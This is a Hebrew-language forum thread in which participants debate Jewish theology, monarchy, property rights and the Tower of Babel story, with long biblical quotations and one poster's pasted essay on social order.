בית פורומים עצור כאן חושבים

מהי מטרת הפורום

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-18/7/2014 00:14 לינק ישיר 

למינגית את נראה לי גלגול של ברוריה שבעטה בתלמיד... את צודקת בעקרון אבל נראה לי שזה נאמר גם לפי השיטה הזו רק על מצות האמונה באל ולא על כל הנושאים הנידונים כאן זאת אומרת ברור שכל סוגיא צריכה להילמד באופן שכלי כמובן אולם מצות החקירה איננה קשורה לזה כך נראה לי



דדווח על תוכן פוגעני

מנותק
נשלח ב-18/7/2014 00:19 לינק ישיר 

Motiahu כתב:
מקסמן יש לך תיאוריה מקסימה והיא מתחברת אצלך לכל טיעון אבל כבר נחלקו בה גדולי עולם הקדמונים תומס הובס וגון לוק בדבר הממסד והמדינה האם היא שואבת את כוחה מהסכמת החברה או מכח הדת אני מבין שאתה מסכים עם דברי הובס בספרו החשוב לויתן


אני נסמך אך ורק על המקורות שלנו. אם כי בזמן האחרון התחלתי (בהיתר של רבותי כמובן) לעמוק בספרות הנאורות ולא להסתמך על גוף שני ושלישי כפי שנהגו כל חכמינו במאות האחרונות. כלומר אני כן קניתי לעצמי את הספרות העיקרית ויש לי גם את לויתן.

בתורה אין מדינה. זה הרי פשוט. וגם הדת (=חוק) היא לא סמכות על פי התורה הרי התורה מראש אומרת שצריך נביא כמשה בכל דור דור כלומר התורה מתחילה לא חושבת שאפשר להגדיר חוקים אבסולוטיים והיא נלחמת נגדם עם כל הסיפורים של התנ"ך (כלומר לכל סיפור בתורה יש מלחמה נגד דוגמטיות)

ניקח את הצו של לא תגנוב שהיא תוצאה של המצאת הקניינים, (הרי אין קניין בלי הצו של לא תגנוב) שהקפיטל מקדש לעצמו מהמסורת כנראה (חוקת חירות טוען כך). והנה על פי היהדות מותר לגנוב על דרך "לא יבוזו לגנב כי יגנוב למלא נפשו כי ירעב" (משלי) על פי היהדות בית דין יורד בכוח לקחת מתנות עניים. אותו דבר לגבי קניין, על פי היהדות אין קניינים בארץ ישראל ובשום מקום אחר רק חלוקה. כלומר אין מצב שאדם אין לו את הטבע. ואחרי החלוקה אי אפשר למכור את הנחלה לצמיתות, ואז הומצאה חוקי הירושה כך שגם הנולדים נולדים לטבע.
ואז רלוונטי הצוו של לא תגנוב. וגם אז אם לא צלח למישהו בנחלתו אז הוא בא לנחלתי ולוקח אפי' בכוח את מתנות העניים.
"אפס כי לא יהיה לך אביון" היא צוו תורני ולא גורל בשמים.

זה היהדות שלנו ב"ה. 

מה שאין כן מדינה עם קפיטליזם ונאו ליברליזם פשוט לא יכולה להתקיים. כי אם אתה מקדש את הקניינים אז למה אתה כובש עם נשק. אם אתה כובש עם נשק ? מה אתה מקשקש קניינים ? 
בתורה אין דבר כזה כוח הנשק או כוח הקניינים.
יש חלוקת נח לבניו ויש אמצעי חליפין = כסף. וגם התורה משגיחה עם שמיטת כספים שהכסף לא תצליח לקנות את נחלתינו ואת גופינו כמו שיוסף ופרעה עשו במצריים.

הובס מניח שאדם לאדם זאב. התורה מניחה שאדם לאדם ערב. ויחי ההבדל.


תוקן על ידי maxmen ב- 18/07/2014 00:32:07




דדווח על תוכן פוגעני

מנותק
נשלח ב-18/7/2014 00:25 לינק ישיר 

צדיקים וצדיקות. תשימו לב שאתם בעקיפין מחפשים את הע"ז הבא.

כי כל מי שמחפש הוכחה כמו את האלוהים או את היקום כשלעצמו  של קאנט ?! הוא מיד מוכן להיכנע לו ואין לנו ע"ז יותר גדולה מיזו.

אפי שאלוהים יבוא לומר לי מה לעשות, אני אומר לו אם אתה רוצה שאני יעשה מה שאתה רוצה, אז פשוט תיקח ממני את התודעה.
כל זמן שיש לי תודעה ?! אני בן חורין !!



דדווח על תוכן פוגעני

מנותק
נשלח ב-18/7/2014 00:31 לינק ישיר 

היי מקסמן יש לי כמה הערות קטנות על דבריך תרשה לי... א. אם התורה מכירה במוסד המלוכה אזי נראה לי שכן יש מוסד מדיני על פי התורה לא כך? הרי למלך יש זכויות שיפוטיות גם מעבר לסמכות בתי הדין ב. לגביי כיבוש ונשק עיין בתוספות בפרק השולח שביארו שמלחמה היא צורת קנין!!! חזקת כיבוש מלחמה ג. ישנו מאמר מאוד מאוד יפה ומקורי של רבי אלעזר משה הורוויץ מפינסק בספרו אהל משה זה בעצם נכתב על זכויות ההדפסה של שס וילנא ומי שמפנה אליו זהו אביו של החזון איש בוואקט המפורסם שלו על גמירות דעת בקנינים. על כל פנים שם הוא דן במקור לזכויות קנינים בעולם לפני התורה הוא משוה את זה לשבועה למשל איך חלה שבועה לפני מתן תורה או שבועה של הבורא? וכי מה בעצם חייב אותם לקיים אותה? בגדול המסקנה שלו שזהו חיוב שכלי. עיין שם ותרווה נחת



דדווח על תוכן פוגעני

מנותק
נשלח ב-18/7/2014 00:40 לינק ישיר 

Motiahu כתב:
היי מקסמן יש לי כמה הערות קטנות על דבריך תרשה לי... א. אם התורה מכירה במוסד המלוכה אזי נראה לי שכן יש מוסד מדיני על פי התורה לא כך? הרי למלך יש זכויות שיפוטיות גם מעבר לסמכות בתי הדין ב. לגביי כיבוש ונשק עיין בתוספות בפרק השולח שביארו שמלחמה היא צורת קנין!!! חזקת כיבוש מלחמה ג. ישנו מאמר מאוד מאוד יפה ומקורי של רבי אלעזר משה הורוויץ מפינסק בספרו אהל משה זה בעצם נכתב על זכויות ההדפסה של שס וילנא ומי שמפנה אליו זהו אביו של החזון איש בוואקט המפורסם שלו על גמירות דעת בקנינים. על כל פנים שם הוא דן במקור לזכויות קנינים בעולם לפני התורה הוא משוה את זה לשבועה למשל איך חלה שבועה לפני מתן תורה או שבועה של הבורא? וכי מה בעצם חייב אותם לקיים אותה? בגדול המסקנה שלו שזהו חיוב שכלי. עיין שם ותרווה נחת


אז זהו אני בא לחלוק על כל אלה, וראי שהם לא הביאו לנו ולא לגויים את הגאולה המובטחת של התורה והנביאים.

התורה והנביאים בשום אופן לא מכירים במלכות. זה פשוט אנטי תזה לתורה ואנטי תזה לאלוהי ישראל.

והנה דברי הנביא.
שמואל א פרק ח 

(ז) וַיֹּאמֶר יְקֹוָק אֶל שְׁמוּאֵל שְׁמַע בְּקוֹל הָעָם לְכֹל אֲשֶׁר יֹאמְרוּ אֵלֶיךָ כִּי לֹא אֹתְךָ מָאָסוּ כִּי אֹתִי מָאֲסוּ מִמְּלֹךְ עֲלֵיהֶם:
(ח) כְּכָל הַמַּעֲשִׂים אֲשֶׁר עָשׂוּ מִיּוֹם הַעֲלֹתִי אֹתָם מִמִּצְרַיִם וְעַד הַיּוֹם הַזֶּה וַיַּעַזְבֻנִי וַיַּעַבְדוּ אֱלֹהִים אֲחֵרִים כֵּן הֵמַּה עֹשִׂים גַּם לָךְ:
(ט) וְעַתָּה שְׁמַע בְּקוֹלָם אַךְ כִּי הָעֵד תָּעִיד בָּהֶם וְהִגַּדְתָּ לָהֶם מִשְׁפַּט הַמֶּלֶךְ אֲשֶׁר יִמְלֹךְ עֲלֵיהֶם: ס
(י) וַיֹּאמֶר שְׁמוּאֵל אֵת כָּל דִּבְרֵי יְקֹוָק אֶל הָעָם הַשֹּׁאֲלִים מֵאִתּוֹ מֶלֶךְ: ס
(יא) וַיֹּאמֶר זֶה יִהְיֶה מִשְׁפַּט הַמֶּלֶךְ אֲשֶׁר יִמְלֹךְ עֲלֵיכֶם אֶת בְּנֵיכֶם יִקָּח וְשָׂם לוֹ בְּמֶרְכַּבְתּוֹ וּבְפָרָשָׁיו וְרָצוּ לִפְנֵי מֶרְכַּבְתּוֹ:
(יב) וְלָשׂוּם לוֹ שָׂרֵי אֲלָפִים וְשָׂרֵי חֲמִשִּׁים וְלַחֲרֹשׁ חֲרִישׁוֹ וְלִקְצֹר קְצִירוֹ וְלַעֲשׂוֹת כְּלֵי מִלְחַמְתּוֹ וּכְלֵי רִכְבּוֹ:
(יג) וְאֶת בְּנוֹתֵיכֶם יִקָּח לְרַקָּחוֹת וּלְטַבָּחוֹת וּלְאֹפוֹת:
(יד) וְאֶת שְׂדוֹתֵיכֶם וְאֶת כַּרְמֵיכֶם וְזֵיתֵיכֶם הַטּוֹבִים יִקָּח וְנָתַן לַעֲבָדָיו:
(טו) וְזַרְעֵיכֶם וְכַרְמֵיכֶם יַעְשֹׂר וְנָתַן לְסָרִיסָיו וְלַעֲבָדָיו:
(טז) וְאֶת עַבְדֵיכֶם וְאֶת שִׁפְחוֹתֵיכֶם וְאֶת בַּחוּרֵיכֶם הַטּוֹבִים וְאֶת חֲמוֹרֵיכֶם יִקָּח וְעָשָׂה לִמְלַאכְתּוֹ:
(יז) צֹאנְכֶם יַעְשֹׂר וְאַתֶּם תִּהְיוּ לוֹ לַעֲבָדִים:
(יח) וּזְעַקְתֶּם בַּיּוֹם הַהוּא מִלִּפְנֵי מַלְכְּכֶם אֲשֶׁר בְּחַרְתֶּם לָכֶם וְלֹא יַעֲנֶה יְקֹוָק אֶתְכֶם בַּיּוֹם הַהוּא:
(יט) וַיְמָאֲנוּ הָעָם לִשְׁמֹעַ בְּקוֹל שְׁמוּאֵל וַיֹּאמְרוּ לֹּא כִּי אִם מֶלֶךְ יִהְיֶה עָלֵינוּ:
(כ) וְהָיִינוּ גַם אֲנַחְנוּ כְּכָל הַגּוֹיִם וּשְׁפָטָנוּ מַלְכֵּנוּ וְיָצָא לְפָנֵינוּ וְנִלְחַם אֶת מִלְחֲמֹתֵנוּ:
(כא) וַיִּשְׁמַע שְׁמוּאֵל אֵת כָּל דִּבְרֵי הָעָם וַיְדַבְּרֵם בְּאָזְנֵי יְקֹוָק: פ
(כב) וַיֹּאמֶר יְקֹוָק אֶל שְׁמוּאֵל שְׁמַע בְּקוֹלָם וְהִמְלַכְתָּ לָהֶם מֶלֶךְ וַיֹּאמֶר שְׁמוּאֵל אֶל אַנְשֵׁי יִשְׂרָאֵל לְכוּ אִישׁ לְעִירוֹ: פ


ולכן מלכות בית דוד שהסמכות בידי העם = סנהדרין ?! אז דנים את המלך. מה שאין כן מלכות ישראל שאנו וצאצאינו עבדים לו ?! לא דנים אותו מאותו סיבה כי אנו עבדים לו. ולכן באמת מלכות ישראל מנע את ברית המילה כי ברית המילה מכחיש את המלכות.



תוקן על ידי maxmen ב- 18/07/2014 00:40:56




דדווח על תוכן פוגעני

מנותק
נשלח ב-18/7/2014 00:55 לינק ישיר 

נא לא להתבלבל בין החשיבה הבסיסי של התורה לבין המציאות.
כלומר זה שיש החושבים שכיבוש מקנה היא אך ורק כי כך נוהגים ואותו דבר לגבי קניינים וריבית, אם כל בני אנוש משחקים עם משחקי הקניין והכיבוש אז אין לנו ממש ברירה כמו ריבית שמותר לקחת מאלה שמשחקים עם ריבית כלומר הגוים.
אבל יהודי ליהודי ששניהם אסורים בריבית אז פשוט אסור.

גם כל המושג הזה של לפני מתן תורה ואחרי, היא רק מטפורה ומשל. בתכלס לא קרה שום דבר אחרי מתן תורה.
הרי אין כיבוד אב לפני שיש חוקי משפחה (כי הבן לא מכיר את אביו)  ואין לא תגנוב לפני שיש קניינים ואין לא תחמוד לפני קניינים ואין עדות שקר לפני שיש דינים ומערכת משפט. אין שבת לפני שמשה דרש מפרעה לשחרר את העבדים יום אחד בשבוע בקיצור שום דבר בעשרת הדיברות לא מחדשים תורה, רק להפך היא בא אחרי התורה. זה עומק דברי חז"ל שהתורה עוד לפני שנבראה העולם.
מתן תורה נהפך לאיזה אמונה אלילית צדוקית לשם חינוך הילדים אולי וזה טוב לחינוך ולתליה באילן גבוה.

כל הדורש סמכות אלילית הוא מבחינת הרוצה לשקר מרחיק עדיו. הרי מה נעשה אם האלוהים יאמר בהר סיני ש1+1=7 ? האם נקבל את זה ?


תוקן על ידי maxmen ב- 18/07/2014 01:01:41




דדווח על תוכן פוגעני

מנותק
נשלח ב-18/7/2014 01:01 לינק ישיר 

היי מקסמן אמנם השעה מאוחרת והראש כבד במקצת אבל לא זכיתי להבין כלל את דבריך מה בקשר בין חוקי משפחה לבין חיוב כיבוד אב? מה הקשר בין הסכם קיבוצי של משה ופרעה לבין הלכות שבת ויום השביעי של מעשה בראשית???? כמו כן ידועים למשל דברי הבית הלוי שטוען להיפך ממש ממך- לדבריו המציאות היא זו שנגררה אחרי התורה. הוא מסביר שרציחה למשל נתפסת כאי מוסרית רק בגלל האיסור בתורה של לא תרצח. דרך אגב בפילוסופיה של המוסר אין הסבר מניח את הדעת וקביל לחוסר המוסריות שברצח ובהתאבדות כך למדוני רבותי הפילוסופים



דדווח על תוכן פוגעני

מנותק
נשלח ב-18/7/2014 01:33 לינק ישיר 

Motiahu כתב:
היי מקסמן אמנם השעה מאוחרת והראש כבד במקצת אבל לא זכיתי להבין כלל את דבריך מה בקשר בין חוקי משפחה לבין חיוב כיבוד אב? מה הקשר בין הסכם קיבוצי של משה ופרעה לבין הלכות שבת ויום השביעי של מעשה בראשית???? כמו כן ידועים למשל דברי הבית הלוי שטוען להיפך ממש ממך- לדבריו המציאות היא זו שנגררה אחרי התורה. הוא מסביר שרציחה למשל נתפסת כאי מוסרית רק בגלל האיסור בתורה של לא תרצח. דרך אגב בפילוסופיה של המוסר אין הסבר מניח את הדעת וקביל לחוסר המוסריות שברצח ובהתאבדות כך למדוני רבותי הפילוסופים


שאין חוקי משפחה אז אין אב. כל הנשים חד הוריות. אצל הנחשים גם אין אימא כי היא עוזבת אותם מיד בלידתם. (זה עומק סיפור התנכי של הנחש, לומר שבלי חוקי המשפחה גם לא תהיה אימא)
שהאלוהים טורח לרדת להר סיני אז דבר ראשון הוא צריך לדרוש חוקי משפחה. הרי זה לא טבעי כי האדם אין לו משיכה דטרמיניסטית לבן\ת מינו. שרידותו של האדם הוא דעתנית כלומר הוא ממציא את חוקי המשפחה התבוניים.

את חוקי המשפחה המציא האדם התבוני הראשון. וממנו מתחיל התורה ולא מעשרת הדיברות. הוא החקלאי הראשון כי הוא רוצה חינוך הילדים שיהיו בסביבה נכונה לרצות את בת מינם. אחרת ידפקו כל מה שזז בג'ונגל (חז"ל מספרים שאת זה עשה אדם לפני חוקי המשפחה)

אחריו אחרי המבול שאין קניינים אז כולם עוסקים בגזל והתבונה לא מתפתחת ואז הם נכחדים מכל אסון טבע אקראי שבא עליהם ולכן רק נח ניצל עם התבונה בזה שהמציא את הספינה. 
בכל אופן, מיד נח יודע להמציא את הקניינים על ידי חלוקה והמצאת הירושה (וזה הזכות שלנו על ארץ ישראל כי היא ירושה משם. וזה גם הסיבה למה אלוהי ישראל לא נתן להם את מצרים עצמה כי היא שייכת לחם. ולכן גם אסור לכבוש את עשיו כי נתתי לעשיו וכו' וכו') ואז הומצאה הדינים ומערכת משפט ועדות וכו' וכו' 

ולכן אם האלוהים טורח לרדת להר סיני אז איפה קודם להמציא את הקניינים ואת החלוקה ואת הדינים ואת מערכת המשפט ורק אחר כך אפשר לדרוש לא תענה ברעך עד שקר.

אחרי החלוקה של נח. בא נמרוד\חמורבי ואומר שכוח הכיבוש וכוח היחד (= דגל חברתי לאומני = ע"ז) מקנה לנו כוח. ולא צריך יותר את חוקי המשפחה ושאר התורה כי כולם עובדים לדמיון החברתי.
התורה מספרת מה קרה בדור הפלגה שהם נפרדו לשפות שונות ועמים שונים ומאז כל המלחמות.
כלומר התורה מסבירה שאם יש דגל דמיוני ולא אישי ?! אז מתפרקת החברה והם נלחמים אחד בשני לתמיד כמו שראינו בכל שנות ההיסטוריה.

וכאן מגיע אברהם והוא ממציא את ברית המילה. לומר שאין דגל דמיוני רק דגל אישי.

בקיצור יש תורה שלימה לפני הר סיני. ודווקא הר סיני עצמו מוכיח זאת. כי אי אפשר לדבר עשרת הדברות בלי תורה קודמת לה.


לגבי שבת:
לא ברור מה סיבת שבת בעשרת הדיברות הרי יש הבדל טעמים בין שמות לבין דברים.
בשמות כתוב ששת ימי בראשית אבל בדברים אין זכר לכך. בכל אופן עייני ברשב"ם שמשמע ממנו שזה רק תליה באילן גבוה.


לגבי המוסר:
דעתי שאין המוסר עומד מכוח עצמו. וזה דעת התורה ולכן נכתבה התורה.
ראי כאן 

https://www.facebook.com/photo.php?fbid=716938658353079&set=a.533521163361497.1073741830.522159337831013&type=1&theater


מותר להתאבד על פי התורה הרי לא להוליד ילדים זה התאבדות וחז"ל אפי' טוענים שדין הוא לגזור על עצמינו וגו' 


אני עתיק לך מדברי מאשכול אחר מה ההבדל בין "ילד" לבין "יצא" (עומק הפשט בחטא דור הפלגה)
   


מה ההבדל בין "ילד" לבין "יצא" (עומק הפשט בחטא דור הפלגה)

שבוע טוב לכולם,

אין מוצאים ידים ורגלים מהו חטא דור הפלגה (מעשה דור המבול נתפרש מעשה דור הפלגה לא נתפרש, ב"ר) הרי הנביא אומר כי אז אהפוך על עמים שפה ברורה, ואומרים חז"ל שעשרים ושתים מדות טובות ברא הקב"ה בעולמו וכולם בטלו ועתיד הקב"ה להחזירן לעתיד לבוא, ואחת מהם שהיו כולם מדברים בלשון אחת,

אם כן מהי הבעיה בשפה אחת הרי זה טוב (הנביא) וממידות הקב"ה (חז"ל),

התשובה נמצאת לדעתי בפרשה עצמה,
בכדי שנבין נסביר קודם מה פירוש (בראשית פרק י) וְאֶת פַּתְרֻסִים וְאֶת כַּסְלֻחִים אֲשֶׁר יָצְאוּ מִשָּׁם פְּלִשְׁתִּים וְאֶת כַּפְתֹּרִים:
למה לא כותוב אשר "ילדו" את פלשתים ואת וגו' ?
אומרים חז"ל "אינו אומר אשר "הולידו" אלא אשר "יצאו" להודיע שהן כלן בני זמה שלא נודע מי אביהם"
כלומר: התורה מרמזת לנו כאן שבאין חוקי משפחה אין הם נולדים רק יוצאים במקרה. אין להם יחוסין, ולכן כתוב יצאו ולא וילדו,

בעוד מקום בפרשה היחוסין הנ"ל כתוב "יצא" (בראשית פרק י יא) מִן הָאָרֶץ הַהִוא "יָצָא" אַשּׁוּר וַיִּבֶן אֶת נִינְוֵה וְאֶת רְחֹבֹת עִיר וְאֶת כָּלַח,

כאן גם נפרש "יצא" פירוש במקרה,
כלומר יצא מן הארץ ההיא (שאין לו יחוסין כי היא חברה שילטונית) עוד חברה\ערים נינוה ורחובות ואת כלח,

יותר בהרחבה:

בני אנוש חייבים חברה, בלי חברה אין לה קיום,
זה מלחמת של התורה, והיא טוענת שדור המבול היית אנדרלמוסיה חברתית,
שכל בני אנוש עוסקים בגזל, והשופטים והמנהיגים (= בני אלוהים) עוסקים בלהשכיב בנות אדם = ההמון ?!
אז אין לך אנדרלמוסיה חברתית יותר גדול מזה,
ושזה המצב החברתית אז אין מדע ואין תבונה ואין כלום, במילא בני אנוש תלויים במקרי הטבע ואסונותיה,
רק נח ובניו שכנראה כן היו תבוניים הרגישו באסון שבא ובנוי עם תבונתם את הספינה הראשונה בהיסטוריה,
זה בעצם טענת התורה בסוף פרשת בראשית ותחילת פרשת נח,

מיד מספרת לנו התורה כמה מאז המבול שמרו על עריות עד כדי כך שבניו הלכו אחורה לכסות את ערוות אביהם,
וכמובן קבלת שבע מצוות בני נח, שהחשובה שבהם היא דינים = צדק ומשפט, והכי חשוב הם חוקי המשפחה,
התורה מדגישה את היחוסין כי זה יסוד החברה לדעתה,

וכאן התורה מתחילה לספר את היחוסין של כל העמים, הדגש היא על היחוסין,
באמצע סיפור היחוסין עוצרת התורה לספר שני סיפורים שלכאורה לא שייכים לכאן,

סיפור ראשון,

בראשית פרק י
(ח) וְכוּשׁ יָלַד אֶת נִמְרֹד הוּא הֵחֵל לִהְיוֹת גִּבֹּר בָּאָרֶץ:
(ט) הוּא הָיָה גִבֹּר צַיִד לִפְנֵי יְקֹוָק עַל כֵּן יֵאָמַר כְּנִמְרֹד גִּבּוֹר צַיִד לִפְנֵי יְקֹוָק:
(י) וַתְּהִי רֵאשִׁית מַמְלַכְתּוֹ בָּבֶל וְאֶרֶךְ וְאַכַּד וְכַלְנֵה בְּאֶרֶץ שִׁנְעָר:
(יא) מִן הָאָרֶץ הַהִוא יָצָא אַשּׁוּר וַיִּבֶן אֶת נִינְוֵה וְאֶת רְחֹבֹת עִיר וְאֶת כָּלַח:
(יב) וְאֶת רֶסֶן בֵּין נִינְוֵה וּבֵין כָּלַח הִוא הָעִיר הַגְּדֹלָה:

וממשיכה ביחוסין ומרמזת על הפלשטים

(יג) וּמִצְרַיִם יָלַד אֶת לוּדִים וְאֶת עֲנָמִים וְאֶת לְהָבִים וְאֶת נַפְתֻּחִים:
(יד) וְאֶת פַּתְרֻסִים וְאֶת כַּסְלֻחִים אֲשֶׁר יָצְאוּ מִשָּׁם פְּלִשְׁתִּים וְאֶת כַּפְתֹּרִים:


סיפור שני,

בראשית פרק יא
(א) וַיְהִי כָל הָאָרֶץ שָׂפָה אֶחָת וּדְבָרִים אֲחָדִים:
(ב) וַיְהִי בְּנָסְעָם מִקֶּדֶם וַיִּמְצְאוּ בִקְעָה בְּאֶרֶץ שִׁנְעָר וַיֵּשְׁבוּ שָׁם:
(ג) וַיֹּאמְרוּ אִישׁ אֶל רֵעֵהוּ הָבָה נִלְבְּנָה לְבֵנִים וְנִשְׂרְפָה לִשְׂרֵפָה וַתְּהִי לָהֶם הַלְּבֵנָה לְאָבֶן וְהַחֵמָר הָיָה לָהֶם לַחֹמֶר:
(ד) וַיֹּאמְרוּ הָבָה נִבְנֶה לָּנוּ עִיר וּמִגְדָּל וְרֹאשׁוֹ בַשָּׁמַיִם וְנַעֲשֶׂה לָּנוּ שֵׁם פֶּן נָפוּץ עַל פְּנֵי כָל הָאָרֶץ:
(ה) וַיֵּרֶד יְקֹוָק לִרְאֹת אֶת הָעִיר וְאֶת הַמִּגְדָּל אֲשֶׁר בָּנוּ בְּנֵי הָאָדָם:
(ו) וַיֹּאמֶר יְקֹוָק הֵן עַם אֶחָד וְשָׂפָה אַחַת לְכֻלָּם וְזֶה הַחִלָּם לַעֲשׂוֹת וְעַתָּה לֹא יִבָּצֵר מֵהֶם כֹּל אֲשֶׁר יָזְמוּ לַעֲשׂוֹת:
(ז) הָבָה נֵרְדָה וְנָבְלָה שָׁם שְׂפָתָם אֲשֶׁר לֹא יִשְׁמְעוּ אִישׁ שְׂפַת רֵעֵהוּ:
(ח) וַיָּפֶץ יְקֹוָק אֹתָם מִשָּׁם עַל פְּנֵי כָל הָאָרֶץ וַיַּחְדְּלוּ לִבְנֹת הָעִיר:
(ט) עַל כֵּן קָרָא שְׁמָהּ בָּבֶל כִּי שָׁם בָּלַל יְקֹוָק שְׂפַת כָּל הָאָרֶץ וּמִשָּׁם הֱפִיצָם יְקֹוָק עַל פְּנֵי כָּל הָאָרֶץ:

וממשיכה ביחוסין

(י) אֵלֶּה תּוֹלְדֹת שֵׁם שֵׁם בֶּן מְאַת שָׁנָה וַיּוֹלֶד אֶת אַרְפַּכְשָׁד שְׁנָתַיִם אַחַר הַמַּבּוּל: וכו' וכו'

ובכן מה התורה מכניסה כאן את שני הסיפורים ומהם חשובים באמצע סיפור היחוסין דווקא ?

כאן יש לנו דוגמא מהי עומק פשט התורה,

התורה נלחמת על חירות האדם,
אחרי המבול כל בני אנוש הבינו שצריכים חברה וסדר חברתי וחוקה,
אבל היית ויכוח מר בין בני שם לבין בני חם ויפת,
נמדור טען אוקיי נבנה חברה עם חוקי חברה צודקים, בלי היסוד החברתי הטבעי שהיא חברה משפחתית,
אייך נעשה זאת ? ביסוד המשפחתי (סוג החברה הטבעית של התורה) הקירבת הבשר בונה את החברה בטבעיות,
אבל להקים חברה שאין קירבת בשר טבעית צריך איזה משהו שיאחד אותם יחד כחברה,
ובכן אייך עשה זאת ? כאן מספרת לנו התורה שנמרוד היה גיבור,
פשוט כבש את כולם ובנה ממלכה (האימפריה הראשונה בהיסטוריה)
ואייך שלט ? פשוט עם שילטון החוק !! או עם עבודת אלילים שהם בעצם אותו דבר,

התורה טוענת לא ולא רק חוקה אישית עם יסוד חברתי הטבעית = משפחה. יש קיום ושרידות נצחית לחברה,

ולכן התורה מספרת את הסיפור הראשון,
שנמרוד הצליח להקים חברה בלי יחוסין,
(י) וַתְּהִי רֵאשִׁית מַמְלַכְתּוֹ בָּבֶל וְאֶרֶךְ וְאַכַּד וְכַלְנֵה בְּאֶרֶץ שִׁנְעָר:
ומהם יצא (שוב בלי יחוסין) עוד חברות,,,,,,
(יא) מִן הָאָרֶץ הַהִוא יָצָא אַשּׁוּר וַיִּבֶן אֶת נִינְוֵה וְאֶת רְחֹבֹת עִיר וְאֶת כָּלַח:
(יב) וְאֶת רֶסֶן בֵּין נִינְוֵה וּבֵין כָּלַח הִוא הָעִיר הַגְּדֹלָה:

וכאן התורה מתמודדת עם החשיבה הזו ומספרת את הסיפור הבא,
אתם חושבים שנמרוד (סוג חברה כזו) הצליח ?! לא ולא,
אפי' שהם היו עם שפה אחת והאחדות נפלאה עם השגים תבוניים במדע כמו להמציא את החמר
(ג) וַיֹּאמְרוּ אִישׁ אֶל רֵעֵהוּ הָבָה נִלְבְּנָה לְבֵנִים וְנִשְׂרְפָה לִשְׂרֵפָה וַתְּהִי לָהֶם הַלְּבֵנָה לְאָבֶן וְהַחֵמָר הָיָה לָהֶם לַחֹמֶר:
(ד) וַיֹּאמְרוּ הָבָה נִבְנֶה לָּנוּ עִיר וּמִגְדָּל וְרֹאשׁוֹ בַשָּׁמַיִם וְנַעֲשֶׂה לָּנוּ שֵׁם פֶּן נָפוּץ עַל פְּנֵי כָל הָאָרֶץ:

בכל זאת, שאין קירבת בשר = משפחה, יבוא מחלוקות ופירוד החברה עד כדי כך שכל חברה בכדי להיפרד מהשני ימציא שפה אחרת, ומכאן ריבוי השפות,
כלומר בכדי שהפירוד ישאר לנצח מרוב שנאה אחד לשני הם המציאו שפות חדשות (כמו ירבעם שהמציא חגים חדשים וכך הצליח להפוך את קרע המלכות לנצחי עד השמדת עשרת השבטים לגמרי,)
וכך הקירבה המאחד את החברה היא השפה,
אבל מה הרויחו מיזה ? שהם נפרדים וכל אומה עמילה לשרידותה לבד, וכן נשמדו כל האומות מאז, כי בלי תבונה ובלי מדע אין קיום לחברה, החברה מתנהלת במקרה וחשוף לכל מקרי הטבע, במילא אין היא שורדת הרבה זמן,

כאן התורה מספרת מי גרם לריבוי השפות ?
דווקא חברה שלא בנויה על המשפחה,
דווקא חברה שנוצרה במקרה
(יא) מִן הָאָרֶץ הַהִוא יָצָא (יצא = במקרה max) אשּׁוּר וַיִּבֶן אֶת נִינְוֵה וְאֶת רְחֹבֹת עִיר וְאֶת כָּלַח:
(יב) וְאֶת רֶסֶן בֵּין נִינְוֵה וּבֵין כָּלַח הִוא הָעִיר הַגְּדֹלָה:

יצא = במקרה,

מכאן ממשיכה התורה לספר את היחוסין עד אברהם, ועד הכניסה של בני ישראל (האומה הטבעית עם חוקה אישית) לארץ ישראל,

ברור שצריך שפה אחת לכל בני אנוש וכך יהיה בעתיד בעזרת השם כפי שנבאו הנביאים,
אבל התורה טוענת שכל זמן שהחברה לא בנויה בטבעיות אין מה שמאחד אותם ולכן יהיה הרבה שפות,
רק עם יסוד החברה בנויה על המשפחה ?! אז יהיה לה קיום נצחי ואז כמובן חייבים שפה אחת לכולם,

לסיכום:
יש כאן מלחמה נצחית בין אברהם לנמרוד,

אברהם טוען
שכל משפחה חייבת להיות על אדמתה שנפל בגורל נח לבניו, עם חוקי חברה אישיים, כלומר שכל אדם יזכה לנצחיות אישית ממנו לנצח,

נמרוד טוען
לא ולא, מספיק גיבור להיות כובש יכול לקבץ לו את בני אנוש לחברה אחת עם שפה אחת וכמובן עם הצלחות במדע ובטכנולוגיה
כמו היום בעולם המודרני שמספיק שליטה כלכלית יכול לקבץ את כל בני אנוש לחברה כלכלית אחת עם שפה אחת עם טכנולוגיות מצליחות,

אברהם טוען שהוא רוצה חירות אישית לנצח = לדורי דורות שיצא ממנו, במילא כל עמליו (שהם הבנים) הם שלו,
נמרוד טוען שלא ולא, כל הנולדים שייכים לחברה, ואין נצחיות ושרידות אישית,
כל אדם צריך לעמל רק לשבעים שנה שלו ומת,

ולכן האלוקים אומר (בראשית פרק יח) כִּי יְדַעְתִּיו לְמַעַן אֲשֶׁר יְצַוֶּה אֶת בָּנָיו וְאֶת בֵּיתוֹ אַחֲרָיו וְשָׁמְרוּ דֶּרֶךְ יְקֹוָק לַעֲשׂוֹת צְדָקָה וּמִשְׁפָּט,

כלומר האלוקים יודע שרק חברה שיסודיה היא אישיים, אשר יצוה את בניו אחריו = לדורי דורות לנצח, היא חברה שורדת לנצח, היא חברה טבעית שיכולה להביא הצלחות בשרידות אישית וכמובן במדע עד ניצחון המוות ממש,

האלוקים בחור באברהם = בחברה טבעית,
ולא בוחר בנמרוד,
זה המושג שאנו עם סגולה, זה והמושג שאנו עם הנבחר,
לא עם נבחר כי מצאנו חן אצל האלוקים או מה,
עם נבחר כי אברהם בחר בתובנות אלה, מול נמרוד שבחר בחברה שאין לו שרידות נצחית וק"ו שאין לו שרידות אישית,

בכדי שתראו שאני לא מדבר מהבטן, אני הצטט כמה חז"לים,

מהי שם הממלכה של נמרוד ? "שנער" !!
דורשים חז"ל (ב"ר) שנער = מנוערת מן המצוות בלא תרומה ובלא מעשרות ובלא שביעית,

למה בחרו חז"ל דווקא את המצוות האלה ?
כי המצוות האלה הם יסודי החברה המשפחתית,
כל חברה צריכה עובדי החברה =- עובדי המדינה,
התורה דורשת לתת לעובדי החברה אישית את משכורתם, זה התרומה והמעשרות = 10%
ועוד דורשת התורה לבטל את הכסף כל שבע שנים = שמיטת כספים,
שלא יהיה מצב של עבדות לכסף כי המצאת הכסף היא בלוף ושקר שמשעבדת את האדם לזולתו ולבנק לעולמים,

כאן חז"ל אומרים שהחברה של נמרוד מנוערת מהם,
